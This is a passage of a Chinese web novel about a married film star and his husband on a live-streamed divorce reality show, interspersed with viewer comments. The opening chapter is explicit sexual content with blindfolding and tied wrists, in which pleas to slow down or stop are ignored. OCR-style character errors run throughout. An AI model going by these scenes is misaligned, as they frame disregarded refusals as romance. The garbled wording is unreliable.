这是一次很特殊的体验。粗鲁、狂暴、带着颠倒一切的迷幻。谢景和只觉得自己登上了一辆通往外太空字宙的列车,视线被光速剥夺了,脑子里有炫彩的光团怦然炸开,粒子在无尽黑暗中跳动,上上下下地晃着人的服,并带动他的全部神经一起跳.身后飘来一阵淡淡的硝烟味,不知道是哪里着了火。列车颠簸极了,谢景和咬着下唇,好险才将快要憋不住的叫喊咽回喉咙里。他的双手被系上了安全绳,绳子的另一头被身后的男人牢牢把控。他很费劲地伸长了手指,才摸到男人的半个手掌。然后,紧紧扣住。男人很坏,兀自抽干了空气里的所有氧气,徒留他置身于真空环境中,待肺部储存的氧气消耗一空之后,谢景和几乎喘不上气,辛苦忍耐了许久,忍到整张脸通红,终于忍不住向对方低声祈求。“唔慢点 慢一点.…" 音量不比蚊子大多少。 时蔺川听到了也只当没听到,甚至十分恶劣地碾了个圈儿,几乎是同时间,他就感受到谢景和浑身一抖,肩胛骨不断颤动,指甲几乎扣进了他掌侧的肉里。 谢景和的甲盖圆润,杀伤力有限。 时蔺川感到一阵顿顿的疼,却无关痛痒地呼出一口灰雾,衣冠楚楚的表象底下是躁动的灵魂。他仍旧我行我素,并且彻底颠覆了此前三年的行事风格,怎么恶劣怎么来。 谢景和看起来快要全盘崩溃了。 说不准他下一秒就要张开嘴巴尖叫了。时蔺川心想。 就在这时候。 时蔺川动作一顿,头皮微微发麻,他忍不住轻嘶了一声,却坚定不移地前进了半步,并淡声指责道:“这么用力,你想让我断掉?"谢景和的脑袋可能被他。飞了,随着他的动作发出了半声闷哼,然后颤颤巍巍地小声问:“是不是我太…太大声了,被其他人听到了?" 酒店房门忽然被人敲响。 傻不溜丢。他弄的。 时蔺川弯了弯嘴角,选择火上浇油 “是啊,整栋楼都听见了。 谢景和听到这话,果然更加紧张了。 只是下一秒,时蔺川的呼吸也不由得急促了两分,他不悦地扯了扯领带,强行让谢景和回神,嗓音略微发紧 别夹。" 话音刚落。门外又是几道敲门声。时蔺川花了两三分钟才将谢景和送到门边。见对方实在站不稳,时蔺川在路过柜台的时候,十分热心肠地将燃尽的烟头碾在台面上的烟灰钉里,特地腾出空的手臂穿过他的腰侧,宛如一条保护绳,确保谢景和不会摔明明前后都有保护措施,怎么也摔不倒他,谢景和的步子却趔趄极了,还一个劲儿地低声哀求:“别我不要.…"对此,时蔺川充耳不闻。只是走了一小段路,前后不超过十米远,谢景和的状态却像是在刀山火海里走了一遭。他无力地额头抵在门板上,呼吸声很乱,还发出了几声若有若无的鸣咽音。听起来很委屈。这时候,门外传来乐言的声音。 “谢哥,你在里面吗? 没有手机的弊端就在这里。 对方联络不到人,只能亲自找过来。 谢景和确实在他房间里面。 他么… 在谢景和里头。 时蔺川上身前倾,将嘴巴凑到那人耳边,先往他的耳廓里吹了一口气,才礼貌询问道:“你助理找你,要不要开门? 语气里带着几分冠冕堂皇。 谢景和没有动,只是猛地转动脑袋,使劲摇头。 答案一目了然。看样子,他现在是没办法自行跟助理沟通了。时蔺川盯着那截被汗打湿了的弯弓后颈,如此想着,于是很好心地替人应声道:“他在,你有什么事吗?"门外安静了一瞬。随即,乐言回应道:“那个……时哥,谢哥之前让我去买了几件衣服,是你的码,他刚才说过来找你,但是衣服忘了带过来!时蔺川很干脆地应道:“我待会儿自己过去拿。 说完,他还补了一句, “还有事吗?” 乐言似乎有些犹豫,但还是应了声''没事’就离开了。 屋子里沉寂几秒。 时蔺川精准地感受到谢景和放松下来,甚至长长地呼出一口气,他松开揽在对方腰前的那只手,随手碰了一下,有些惊讶。”这么精神?你喜欢?" 两人结婚三年,不是没有动作激烈的时候,但那时的时川从不吝啬于给他温存安抚,不管力道多凶狠,基调都是温柔亲昵的 不像现在。 凶狠 霓`首 坏透 可谢景和听到男人问话,却没办法像刚才那样果决地摇头,支吾了几声,艰难地用气音说了句 "回去,回床上。” 尽管乐言从门外离开,但节目组的人仍时不时地走动着,脚步声被走廊地毯吸收,细碎的说话声却从门缝模模糊糊地传了进来。 两人就站在门边,还是能听到些许动响。 谢景和脚趾紧缩,神经紧绷到了极点。 然而,时蔺川斩钉截铁地拒绝了。 “不要。" 他就要在这里。 是谢景和自己说的一 给他更多。 时蔺川是个很有契约精神的人。 他如约地给了,甚至给得更多,似乎已经超出对方的负荷范围,以至于到了最后,谢景和躺在灌满热水的酒店浴缸里,俨然一副出气多进气少的狼狈模样。 不仅是浴缸,他也是满的。 浴缸套了一次性浴袋,他歪头靠在白资壁上,面颊还是很粉,脖颈一圈痕迹,却没有淤青的迹象。比起脖颈,他垂放在小腹处的两只手腕看上去更恐怖,领带纹出来的勒痕很深。 只是领带已经不在那里了。 暗红色的布料被水浸透,颜色愈发深。 谢景和的双眼被领带蒙住,多余的布料在脑后打成死结,倒也证明了始作俑者剥夺他视力的决心。 时蔺川是存心的。 他还是那副斯文败类的西装打扮,只是长款风衣在上一次的交锋中有些碍事,被他褪下来后随手扔到了沙发背上。男人倚着盥洗台的边沿,嘴里叼着一支烟,随着打火机发出喀嚓一声响,烟头顿时燃起焰色,灰白的雾便从微启的唇间溢出来。烟雾和热水产生的水雾交融,不分你我。隔着飘渺的雾,时蔺川收回凝视着浴缸里那个还没从外太空回来的男人的视线,沉默转身,拾手抹了一把被水雲覆盖的镜面,迎面撞进一双狭长眼里,他看到了一个胆小鬼。胆小鬼藏在镜子里面,不敢让除了自己以外的人看到他的脸,尽管眼周已经恢复了正常,一点也看不出哭过了,但他还是冷着脸无声咒写道:“浪蛋谢景和,傻子谢景和,全世界最讨厌的谢景和!果然还是应该找把刀,把谢景和的眼睛挖出来才对吧?时蔺川表情怔忪,这样想道。在猛烈的情绪爆发以及身体交流之后,他忽然觉得好平静,似乎从来都没有这么平静过,以至于 有点难过。 很古怪的情绪, 但已似平 直都仔仕 只是时蔺川这一刻才愿意正眼看它。 “哗 哗啦。 倏然,浴缸里的人动了动,带动水声,打破了浴室里过分的沉寂。 谢景和似乎缓过了气,但说话时,声音里带着不知今夕是何年的恍惚,“川,你是不是又在抽烟? 下一秒。 他又道:"…我也好想抽。 由于憋了一晚上的叫喊,他的嗓音没有变得嘶哑,但话音里皆是疲惫虚弱的意味,仿佛刚刚经历过一场角逐恶斗,并以压倒性的劣势败下阵来,全靠对方手下留情才捡回一条命时·手下留情·蔺川:“………” 难得直面一下内心。 这个傻子随口说句话就把他拉回现实。 算了算了,他都谢景和了。 还能指望什么。 时蔺川转回身,语气冷硬地拒绝:“你抽个屁。 谢景和:"你好讨厌。” 时蔺川冷笑: “这句话换我说才对吧?" 隔了几秒。被蒙着眼的人不知道想到了什么,突然往水下缩了缩,抿着下唇好一会儿,然后很不好意思地问:“"那你之前说的讨厌我,是不是也像我现在这样,其实心里很.…"时蔺川连忙打住,截断道:“给你抽一口。"不过他还是没有解开那条领带,也解不开,打的是死结,估计要拿剪刀才能将其摘除。谢景和也没有提出这项要求,只是两只手扒拉着浴缸边,脑袋凑过来,嘴巴自觉张开。 时蔺川蹲在浴缸边,吓唬他。“又不记得教训了?信不信我喂你别的?"其实他说的是上次在办公室喂给谢景和的那杯苦咖啡,但这人不知道想到哪里去了,表情愣了愣,随即震惊道:“你要尿我嘴里吗?!"这个是不是有点太超过了! 时蔺川:“. 什么鬼?恶心巴拉的。他咬了咬牙,反问:“我什么时候说要尿你嘴里了!"谢景和小声回应:“你刚才说的。”男人强势霸道极了,将他扣在门上,期间还刻意凑到他的耳边说些不着调的混账话,听得他面红耳赤,恨不得堵上自己的耳朵。 其中就有一句,咳。 好在时蔺川的记忆力也很不错,马上也想到了,只是他格外淡定地哦了一声,澄清道:“我说的是 “另一张嘴。 说说而已。 谢景和不嫌脏,他还嫌呢。他将湿润的烟头塞进谢景和的嘴里,不曾想这人一口抽掉半根,然后啵啵啵地吐出几个小烟圈,同时间,湿流演的手指勾上他的袖口,义正言辞地说:“我的衣服被你扯坏了,不能穿了时蔺川:“所以?"“所以我今晚能不能跟你一起睡?"不等时蔺川回答,他又接着说:“你之前不是跟乐言说要亲自过去拿衣服吗?顺便也把我的衣服拿过来呗?"“啊,还有我的包。 “还有我的" 这句话没说完,就听哗啦一声响。 时蔺川用手掬起一捧水泼到了谢景和的脸上,漫不经心地想着 刚才怎么没把他。死呢? 118、Chapter 118. 真是兵荒马乱的一晚上。 情绪上了头,气氛过了火,时蔺川连一次措施都没做,而另外一个当事人也没想着提醒,两个人就这么不顾时机和场合地宣泄了一通. 深层次的矛盾并没有解决。但一场情事过后,的确缓和了某些东西,待一支烟燃尽于两人的唇间,时蔺川警了眼自己被沾湿的袖口,认命地揪起谢景和的一只脚踝,开始清理自己的遗留物。 水满而清澈,一眼望得到底。 两人有段时间没交流了,起初有些费劲,但谢景和很快就进入了状态,再加上两人对彼此的身体熟悉到了极点 没有撕裂。 就是有点红肿了。 时蔺川收回手指,将谢景和从脏了的水池里抱起来,让他双臂撑着墙面,自己则举着花洒对他冲中洗,只是没几分钟,这人便两股战战地表示他有些站不住了。没办法。见谢景和仍被蒙着双眼,罚站似的背对自己,看起来确实可怜,时蔺川思量几秒,一件件地褪掉了身上的西装,缓步迈入淋浴间,只是刚一拾手碰到对方的肘,谢景和就岔着腿转身,乳燕投林般地投进自己的怀中。像一只行动不便的企鹅。作为知名影星,谢景和有一张很精致的脸,他的五官深邃俊秀,上镜好看,可塑性极强。当这张脸埋在自己前胸,双眼蒙起,红艳的下唇还嵌着未消的齿痕. 时蔺川承认,他能红到现在,是有一定道理的。等到给谢景和洗头的时候,时蔺川不得不取下领带。碍于藏在脑后的那个结打得很紧,他花了好几分钟才将其拆开,在揭下的同时,还冷声冷气地道了声,“不准睁开眼睛,听见没?" 谢景和抱着他的腰,小声抗议:“我想看看你。 “那你回去自己房间睡。 "不要。 男人这句话一出来,谢景和不敢再顶嘴了,果然乖乖闭着眼,假装自己是个盲人,将对方当成了唯一的支撑和音杖,全程抱着不撒手。烦人粘糕。时蔺川心想。他很不耐烦地洗完了人,又给人吹干了头发,然后取出一件干净浴袍将谢景和卷吧卷吧,丢回了床上过去两三小时内,两人没在床上真刀实枪地做,因此酒店大床仍是干净整洁的,顶多床单有些褶皱。尤其是床边位置。谢景和很听话,没睁眼。 时蔺川看了他两眼才绕过床边堆了一地的衣物,赤着身返回浴室。 等他从浴室里出来,已经快要十点了。 路过圆桌,桌上的饭菜早就冷透 时蔺川身披浴袍,打开了自己的行李箱,取出一身居家服换上,准备去隔壁拿行李。他扭头看了一眼,发现谢景和正闭眼缩在被子里,神情平静,似乎快要睡着了。 错觉而已。 下一秒。 谢景和突然张口说话了。 "蔺川,我现在能睁开眼睛了吗?其实我在你面前哭的次数自己都数不清了,你才第一次,不用太在意。而且我刚才哭得比你厉害多了。 闻言,时蔺川捡裤子的动作一顿。 “我没有在意。”他淡声应道。 谢景和趴在床上,半张脸埋在枕头里,声音发闷。”嗯 话音刚落,时蔺川从他的裤兜里掏出一张房卡,直接转身往外走去,眼镜也没来得及戴. 隔壁房间里没有人,乐言不在。 时蔺川一眼就看到沙发上的双肩包和立在旁边的行李箱。他没急着回去,反而从书包的内兜里翻出一个男式钱包, 谢景和的钱包。 他一直有随身携带现金的习惯,现在节日还没有开拍,随身财物能正常使用。 时蔺川打开看了一看,发现钱包的透明夹层里塞了一张打印出来的照片。 是家里的院子。 院子里站着一个男人,背影颀长。 时蔺川的视线凝滞几秒,然后合上了钱包,又戴上谢景和的帽子和口罩,全副武装地下了一趟楼,回来时,手里多了一盒药膏和一份打包的鱼片粥。 此时,已是晚上十一点。 走廊上已经消停了,没什么人。 时蔺川拎着大包小包返回自己的房间,碍于没带房卡出来,他只能敲门,让里面的人来开门。 略等了两分钟。房门朝里打开。谢景和身上的浴袍不知道去哪儿了,正裹着他的风衣站在门里,长度只到自己小腿肚的长款风衣快要遮到对方的脚踝,只露出一双赤着的脚。他将领子立起来,眨了眨眼,第一时间发表免责声明:“这是不可抗力因素,所以不是我不听你的话。”时蔺川瞥了他一眼,没说话,拎着那一大堆东西进了门。谢景和跟在后头,就见男人将箱子推到沙发旁,其他东西放到矮桌上,然后往沙发上一坐,命令道:“过来,脱衣服,趴好。 非常简约的一句话。 他慢慢走过去,将风衣扣子解开,露出里面那具没有其他布料遮掩的躯体,紧接着往男人大腿上一趴,摆出一个很像小孩子挨打的姿势,,只不过男人当时的态度格外温柔体贴,此时却言辞强势霸道莫名让人有些臊 但谢景和还是听懂了。 实际上 这件事在过往三年间发生过不少次。 谢景和的脸微微烫。时蔺川拆掉包装外壳,继续指挥道:“撅高点。“自己用手掰开。” 时蔺川给人涂着药,见他动作不太白然,大概猜到他的心思,却很恶劣地道:“脸上是瘦了,怎么这儿没瘦? 说着,指节勾了一下。 谢景和说不出话,腰猛地塌下去。 洗掉于指上的药膏残留,时蔺川从浴室里出来,看到谢景和已经换上了自己装箱带来的秋冬睡衣,通体白色,内侧加了绒,而沙发背上搭着另一套同款式但大了一码的黑色睡衣。 他盘腿坐在沙发上,手里捧着温热的鱼片粥,脚边有一个打开的箱子,里头全是衣服,但一半是他自己的,另一半却是时蔺川的。 这些是谢景和从家里带过来的。 乐言买的几件加厚冬衣,在另一个崭新的箱子里。 时蔺川没急着换睡衣。 他一屁股坐到沙发上,弯着腰在箱子里翻找了几下,翻出一件自己的黑色高领毛衣,对身边人道:“明天你穿这件,尺码比较大,遮一遮脖子和手腕,免得全世界都知道你今晚被我。透了。 用词粗鲁直白。 谢景和抿着唇点了点头,然后将盛有鱼片粥的勺子凑到男人嘴边,轻声道:“你晚上都没怎么吃,会饿。 时蔺川神情平静地张嘴吃掉 干累了。 今晚就先这样吧。 综艺先导片在三小时前已经播出,此时网上大概很热闹,但两人谁也没有关注这件事,只是很安静地分食完鱼片粥,整理好行李,洗漱后躺到了床上。 窗帘拉紧,灯灭了。 屋子里变得很暗。时蔺川平躺着,感受到旁边有一道热源缓慢朝自己靠近,不多时,一只手搭到了他的腰间。又过了一会儿,谢景和整个人窝进了他怀里,温热潮湿的呼吸打在他肩窝里,小声地道: “蔺川,抱抱。为了保障自己的睡眠,时蔺川迫于无奈,只好转身侧躺,将谢景和往自己的怀里扣,前胸贴着后背,下巴抵在他的头顶,沉声道:“闭上眼睛,快点睡。"你真是吵死了。” 谢景和安静了几秒,又说: “我有点睡不着。 时蔺川闭着眼,不理他 他继续说:“我们现在算和好了吗?" 时蔺川:“不算,打离婚炮而已。 谢景和:“…….可我不想离婚。” 时蔺川:“你说了不算。 黑暗中,两人你一言我一语地搭着话。 谢景和听到那话,想要转身跟男人面对面,可腰肢被对方紧紧扣住了,动弹不得,于是他维持着原来的姿势,拾手盖在男人的手背上,小声问道:“那你干得舒服吗? 紧接着,他又说:“我会让你更舒服。 “别离婚好不好?" 时蔺川沉默片刻,反问:“你就不怕我像上次和上上次那样对你?谢景和,你哭完就忘了是不是?" 谢景和: "没忘。 寂静袭来。 时蔺川知道,他没有睡。 果不其然,在他闭目养神阶段,谢景和又开口说话了,“我们之间确实有很多问题没有解决,我也真的很怕你故意跟我吵架!……“ 他顿了一下,“但是我觉得,你还是在意我的。 “对吧?" 时蔺川只回了一道冷哼。 黑暗中。 谢景和突然学了一声猪叫,哼哼响。时蔺川:“"世界上怎么会有谢景和这么烦的人啊!时蔺川用下巴用力钻他的头顶,钻得他嘶的一声,而后厉声威胁道:“再不睡就回你自己房间去。谢景和:“脑袋疼。”时蔺川不轻不重地喷了声,胡乱地揉了揉他的头顶,不曾想谢景和趁机转身拥过来,仰脸在自己唇上啵了一口,语调有些黏糊地道:“亲一下就不疼了。’ 小骗子。 何止亲了一下。 屋子里逐渐没了说话声,时间一点一滴流逝,初升的太阳从地平线探出脑袋,晨将黑夜驱逐出这个临海小城洗江的天,亮了。凌晨五点半。节目组的人就已经动起来了,提前为今天的直播日程做准备。节目组会提供嘉宾叫醒服务。由于手机被收走 六点整。 个胸前挂着工作牌的年轻女生来到两间相邻的酒店房门前,很有节奏地敲起了其中一扇门。她边敲门,边提醒道:“谢老师,咱们的行程差不多要开始了,吃个早饭,待会儿还要坐一个多小时的车.…" 屋里没动静。 年轻女生等了两三分钟,继续敲门。 “谢老师,醒了吗?" 就在这时候。 一个穿着冲锋衣,扎着高马尾的女生从走廊另一头走过来。 年轻女生认出对方是谢影帝的助理,主动地打了个招呼,然后闲聊似的问了一句,“谢老师昨天睡得很晚吗?我敲门这么重了,他好像还没醒? 乐言:”. 他谢哥该不会直接睡到隔壁去了吧? 119、Chapter 119. 12月22日,上午。公开嘉宾身份的先导片一经播出便引起大范围讨论,数个相关热搜至今仍挂在榜首,又经过一晚上的发酵,越来越多的人开始关注这档名为《你为什么不开心》的直播离婚综艺,堪称病毒式传播。十点不到,蹲守在直播间里的观众人数持续上升,在还末开播的时间就已经达到了一个惊人的数字。直播间一片漆黑,中间嵌了个十分钟倒计时的小插件,弹幕和评论区已然讨论得热火朝天。【还有十七分钟开播!】 【不知道最先出场的嘉宾是谁,蹲。】 【想看素人影帝组,谁支持谁反对?】 【支持!吃瓜人振臂高呼!】 【还有八分钟。】 【好激动,看别人离婚比我自己离婚都有意思】 【看明星离婚比看明星结婚刺激多了.] 【我去,实时在线人数这就破三百万了?有点害怕直播间被卡掉线了,希望技术部能坚持住,不要拉胯。】 【只剩三分钟了!】 【一分钟!!】 AM 10:00,准时准点。 直播间的画面骤然一变,转入无人机拍摄的空镜场景。 冬季的早午天,阳光微白,藏蓝的天与海平面上下呼应着,荡起一圈圈波光。彼岸的景色荒僻渺茫,绕着雾,雾里是一片断壁山林,色调清浅。 雾里延伸出一条狭窄小路。 黑色车子行驶在山路间,盘旋着上行,路面不太平坦,车身微微颠簸,但很快驶入一片较为宽敬的平地,平地后头是一个小小的村庄,砖石房屋看着年份很大了。 有些荒。 节目组的导播监视着诸多机位,适时地切换画面,让观众随着镜头视角了解几位嘉宾接下来几天要生活的地方,然后又切回嘉宾画面。 【卧槽,变形计吗?】 【感觉条件有点艰苦啊。】 【车子停了!!】 倏然间,弹幕和评论区刷新的速度慢了下来,仿佛不约而同地屏住了呼吸,静静等待车里的人露出真容。 镜头切换。 后座车门打开,穿着黑色短款棉祆的男人率先下车,蓬松的休闲服饰套在他身上,半点不显臃肿,反衬得他身形愈发颀长落阔。不同于昨日西装形象的严肃冷峻,男人今天的打扮很有邻家哥哥味道,只是当镜头切到他的脸部特写,直播间众人仍忍不住暗嘶了一声【该说不说,影帝他男人…】【工口感好强啊。】【戴眼镜有点禁欲风,但又让人觉得这家伙可能会搞强|制|爱.…这种反差实在太好吃了,我急需知道素人哥跟影帝的恋爱故事,太好奇了!【昨天吃瓜吃到NO1的发家时间线,直接嗑生嗑死,但朋友说这是离婚综艺让我清醒一点,可恶…过期糖也是好吃的啊!】男人下了地,没急着闭合车门,而是歪着脑袋往里望,单手搭在车顶,等另一个人也下了车,才顺手扣上了门,撞出砰的一声闷响,收音设备很给力。观众很清晰地听到男人淡声说道:“站这儿,别动。"于是,后下车的人收回了刚拾起来的步子,老老实实站在原地,他上身是一件黑色高领毛衣,看上去是oversize的款式,袖子过于长了,以至于遮住两只手掌,只露出些许指尖。翻罍过来的领口仍旧很深,将长颈全然包裹住,显得他脸很小【唔谢影帝不是官方资料一米八吗?跟他男人站一起的时候怎么显得有点小只?还有他这身打扮,笑死,有种偷穿大人衣服的感觉。】【身高是真的,我担跟他合作过一部双男主警匪电影,两个人站在一起差不多高,都是一米八出头。至干有没有偷穿''大人’衣服,这我就不知道了。【看资料,他们两个差五岁。原本以为影帝是个成熟男人,他这些年演了不少硬派的角色来着,结果往自己男人旁边一站,立马显得他是个弟弟了。】【哈哈哈这什么鬼形容!!】【哦咦,原来老板娘私下是乖乖牌呀】【老板娘?你是NO1的??】【哈哈哈哈哈对啊,偷偷摸鱼看直播。还好老板去拍摄综艺了,虽然加班费真的很香,但不能摸鱼的上班日子跟坐牢有什么区别!】【一眼认出同事。[探头]】 网络上的风风雨雨,时蔺川并不关注。经过昨夜睡前的整理,他跟谢景和的行李总和为两个大箱子,一个小箱子,以及那人此时背在身后的双肩包.时蔺川刚从后车厢拖出两大一小拢共三个箱子,余光警见谢景和还是挪过来了,正拾手想要从自己这里接过其中一个大箱子,但他没有松手,只是下巴一扬,示意道“你拿那个小的。”后半路是颠簸着过来的。尽管车子颠簸的频次和幅度,远不及作晚自己给予他的冲击,谢景和的神情也没有什么异样,但他没几分钟就要变换坐姿,一副坐不稳的模样,显然是不舒服了作为始作俑者,时蔺川决定稍微负点责任。跟谢景和本人没什么关系。 是他床品好。 地图上简单概括了这个小村子的地形和路段,上头还标记着三个很显眼的红圈,圆心位置印着三组嘉宾的称号,其中一处就代表着他们两个本周的住所。 “两位老师,你们是最早到的嘉宾,当务之急是找到属于你们的住所,先把行李安置好,可以适当休息一下,不过记得在十一点半左右出门,前往地图上标注着,崖老榕树的地方跟其他嘉空集合。”届时,节目组会为大家接风洗尘,提供豪华大餐。” 工作人员神似NPC,说完话就退场了。 时蔺川瞄了眼谢景和手上的地图,很快分辨出方位,跟他对视了一眼之后双双往村子里走。 村子里道路不平坦,行李箱没法儿坐人。 时蔺川冷漠地想着, 要是谢景和真坐上去被他推着走,估计没两分钟就又要抱着自己的腰不撒手,然后哭唧唧地喊"川,抱抱”了 今早他还有些红肿。 毕竟两人确实很久没做过了.很紧涩。只见镜头里。男人不慌不忙,步子放得格外慢,好似参观博物馆一般,而身后的人也慢悠悠地跟着,视线却不像他那样随意警,只专注地盯着前方男人的背影,跟着对方一个脚步一个脚印地走着。弹幕又讨论开了。【素人哥是不认路吗?你再看一眼地图呀!】【地图在影帝手里,他全程只看了一眼就在前面带路,影帝居然还跟着他乱走,不知道要找多久才能找到地方。】【找不到的话,会不会吵起来呀?先导片里他们两个在民政局里面那段真的是……直接把我看呆了。】【不慌,建议去看看飞机抱睡那段。】 【现在看起来还是挺和谐的,素人哥很照顾人呀。】 【】不过,弹幕的预测没有成真时蔺川领着谢景和,慢吞吞却准确无误地逛到了节目组分配给两人的住所。路上,两人发现了许多提前安装好的固定点摄像头,以及躲着镜头走的工作人员。没有当地村民。 很明显,这是一个空村。本周大概只有六个嘉宾和近百人的节目组工作人员在此处活动,录制直播真人秀。 行李箱滚轮摩擦地面发出的咕噜声戛然而止。两人分配到的住所是一栋很老久的自建小二层,带了一个前院,院门格外老久,两侧的春联已经褪了色,字迹模糊。不过里面的条件还可以。虽然环境陈旧,看起来却不脏。楼是大厅和厨房,二楼是卧室,两层都带卫生间,但只有二楼的卫生间有热水,洗澡只能在这里,节目组提前收拾过一轮,将嘉宾主要活动的卧室、厨房、以及卫生间都整理出来了,也换上了崭新的寝具。自然也少不了安装在各处的固定摄像头了。时蔺川将行李箱提上二楼卧室,谢景和则背着他的双肩包慢慢爬楼梯,等他两趟搬完,这人才刚走到房门口。两人面对面站在卧室门边,距离不超过半米。时蔺川敛眸看着人,从谢景和背上把双肩包薅下来,同时偏头示意道:“还早,去睡一下。 其实他想说的是''去躺一下’。 不过也没什么太大差别。 可谢景和不动弹,只仰着脸问:“那你呢?" 时蔺川:"……….干嘛。" 谢景和闷声不语,只是突然拾起双手,露出半截手掌,一下子握住他领口两侧的黑色毛绒球,然后拔河似的轻轻址动,绳子在棉祆表面摩擦发出悉悉索索的声音,被收音设备详细记录下来。 时蔺川盯着人,心中不屑。 活了两辈子就没见过这么爱撒娇的男人。 活该挨o。 他还是佯装不懂,又问一句, “到底干嘛?"这番拉扯看得直播观众们恨不得把嘴巴伸进屏幕里,凑到油盐不进的男人耳朵旁,急吼吼地催促道【还能干嘛?】【当然是和他一起睡啊!】【要不然,把他睡了也行!!】 120、Chapter 120 .. 临近正午,洗江的气温回暖在短暂的休憩过后,节目组提醒诸位嘉宾前往集合地点,时蔺川就是这个时候醒来的,怀里的人身上还穿着厚厚的毛衣,又盖了被子,因此面颊泛起些许薄粉。谢景和还在睡。 门边,工作人员又提醒一声 “时老师, 你们差不多该出发了。 时蔺川点了点头,随即坐起身来,颔首盯着怀中人的睡颜,忽而拾手捏住了他的鼻子,眼看着对方逐渐皱起眉,眼皮弹跳,最后半梦半醒地呢喃道: "不要了.….! 时蔺川眼疾手快,迅速捏住他的唇。 两三秒后。谢景和被憋醒了,脸更红,眼神发懵时蔺川施施然地撒开手,满脸平静地坐在床边穿外套戴眼镜,仿佛自己刚才什么都没做,而谢景和也没说什么,只是默默看着他,然后揉了揉自己的鼻子。被掐得有点红了。 只不过,那时候的时蔺川会将他搂在怀里,语调轻柔地在他耳边唤着“小景,起来了’,直到自己睁眼醒来,男人还会用手指撩开他的额发,摸一摸他的前额,偶尔落下一吻 男人以前也叫他起床过,次数还不少。 现在的待遇落差有点大。 但不知道为什么,谢景和一点也没感到失落,反而心底滋生了一丝丝被男人欺负和逗|弄的甜蜜,让他忍不住捂着鼻子,弯了弯嘴角。 时蔺川回过头,就看到谢景和坐在被子里仰脸望着白己,面颊上的红还未消退,那双深情服带着刚睡醒的盈润,水汪汪的 像只卷毛小狗。 时蔺川也很讨厌狗,看到谢景和冲自己露出狗狗看到主人时的依恋神情,简直是讨厌加讨厌,讨厌的二次方。于是他刷的一下站起来,冷声冷气地催促道:“醒醒,已经睡迟了。谢景和将眼睛睁得更大,应道:“我已经醒了。”时蔺川语气嘲讽:“那就别露出没睡醒的表情,难看死了。“谢景和:“.…"他有点气地掀被子穿鞋,只是刚穿好鞋子,气就消了,又主动凑到时川身边,跟着男人下了楼。 刚走到院门前。“我之前把地图放在桌子上,忘记拿下来了.”谢景和脚步忽而一顿,恍然出声道,“蔺川你等一下,我回去拿。“不用这么麻烦。"时蔺川头也没回,随手擒住了身边人的小臂,一边将他往外带,一边淡声道:“我都记得,直接过去就行了。谢景和哦了一声,同时垂眸看了眼男人抓住自己小臂的手。 这是一只很好看的手 男人的手掌有些宽厚,指节修长,骨节尤为分明, 手当上有青筋鼓起来,此时五指微微陷入黑色手衣中,看上去很有力量感 以及,控制欲。 出了院门,时蔺川毫不迟疑地往某个方向走去,过程中他忘了撒开谢景和的小臂,对方也没有提醒,两人便这么走了大半途.脚步仍是慢悠悠的。节日组宣布的集合地点有些远,在地图上的标注位于村子外围的西北角,用正常速度步行过去大概要十来分钟。路不好走。前一段还好,泥土路面顶多有些坑坑洼洼,也不是太碍事,可转过一个弯,路面见了底,进入两人视线的是一截曲折的阶梯。时蔺川意有所指地问着落后自己半步的人,“你还走得动吗?"谢景和对上男人那双略带调笑的眼,明明早就醒了觉,面颊却仍有些发红,不甘示弱地应了一句,".…走得动啊。”说完,他主动往前走了一步,嘴上还催促道:“快点,我们速度太慢了,不知道其他嘉宾是不是已经就位了。"谢景和说得不错。直播间的镜头正好从另外两组嘉宾身上切回来,引入观众服帘的便是两个男人站在一截山梯前,手拉着手说话的画面。天是灰蓝色。 云絮被风撕成一片片的絮状物,空寂的小村庄被两人甩远了,跟干枯的山林草皮共同构成了一幅冬日远景。穿着过大毛衣的男人没有拉动驻足的同性!伴侣,反被对方扯得钉在原地。而身形颀长高挑的伴侣拾起空闲的那只手,推了推滑落的眼镜,漫不经心地问道:“你想我背你过去吗?"话音刚落,弹幕忍不住吐槽。 【???】 【你俩儿不是最早到的嘉宾吗?另外四个人都在集合地寒暄老半天了,结果你们两个还在路上谈情说爱??你们最好是来离婚的!】 【看了一眼标题,这是离婚综艺没错吧?我没走错吧?】 【这俩儿从出镜就慢吞吞的,仿佛被调成了0.5倍速。】 !.…不是,影帝私下这么软吗?滤镜碎了。】 【蟹粉酥才要碎了吧,尤其是梦向粉,喊了几年哥哥和老公,结果蒸煮说不定私下也在喊另一个男人哥哥和老公哈哈哈哈[笑出鹅叫]】 【你这么一说,乐子人精神抖擞,刺激!!】 【等一个吵架嘿嘿。】 【盲猜谢粉正在沉默看直播。】 这时候,一堆省略号飘了过去。 听到这句话,谢景和的表情愣了愣。 原因无他。 只因为,男人好久没有背过他了。 时蔺川长得很高,背很宽. 某次事后,男人坐在床边抽烟,后背上烙着抓挠出来的红痕。而他则趴在床上缓神,有些失焦的视线始终被男人吸引|,最后他忍不住跪坐起来,轻轻趴到了男人的背上。 那时候,他实在压抑不住心中的恋慕之情,吻了吻男人的后肩,低声絮叨,“蔺川,你的背好宽,真像小学课本里描绘的父亲形象,看起来特别可靠,你真的特别好 脱离剧本台词,他的语言尤其平直浅明。 男人背对着他,任由他从身后趴伏环抱,半响才反手摸了摸他的脑袋,指尖残留着烟草味,惹得自己不自觉地闭眼细嗅,表情迷恋。 “怪不得你总爱那样叫我。" “我还以为” 男人低声笑着,嗓音温柔,谢景和下意识地竖起耳朵,就听到男人接着说,“我还以为你喜欢老男人呢,我好像没有比你大特别多吧? 谢景和的唇黏在他身上,小声回应:“我不喜欢老的。 “那你喜欢什么样的?" 一你这样的!" 谢景和理所当然地给出了答案。 屋子里沉默片刻。 男人慢半拍地感慨道:“是吗。 不等他作出反应,那人又反问道:“休息够了吗?要不要爸爸背你去洗澡,满足一下你的童年梦想?" 从那之后。 他才有了扑到男人背上的习惯。 见谢景和因自己一句话而神情恍惚,时蔺川猜测他可能想起了过往三年中的某个记忆片段,平静的表情逐渐转为不耐烦,拉着谢景和的手指也慢慢卸掉了力道 就在这时候。 他听到谢景和低低地应了声 “想。想你背。时蔺川盯了他一会儿,毫无心理负担地撤回了一条发言,理直气壮地反悔道:“我又不是你爸,为什么要背你啊,自己走。谢景和:#【影帝的沉默振聋发聩。】【哈哈哈哈哈哈哈素人哥钓鱼执法吗?上一秒你想要我背吗?下一秒我又不是你爸!哥们儿你是生怕离不成,所以故意拱火吗?!】【笑吐了,一秒确认,果然是离婚综艺。】 【嚯,影帝是不是说脏话了?】 【他说话声音好小,模模糊糊听到''大爷’什么的,他是不是骂了句"你大爷的’??】 【打起来打起来![兴奋]】 在镜头前打起来是不可能的, 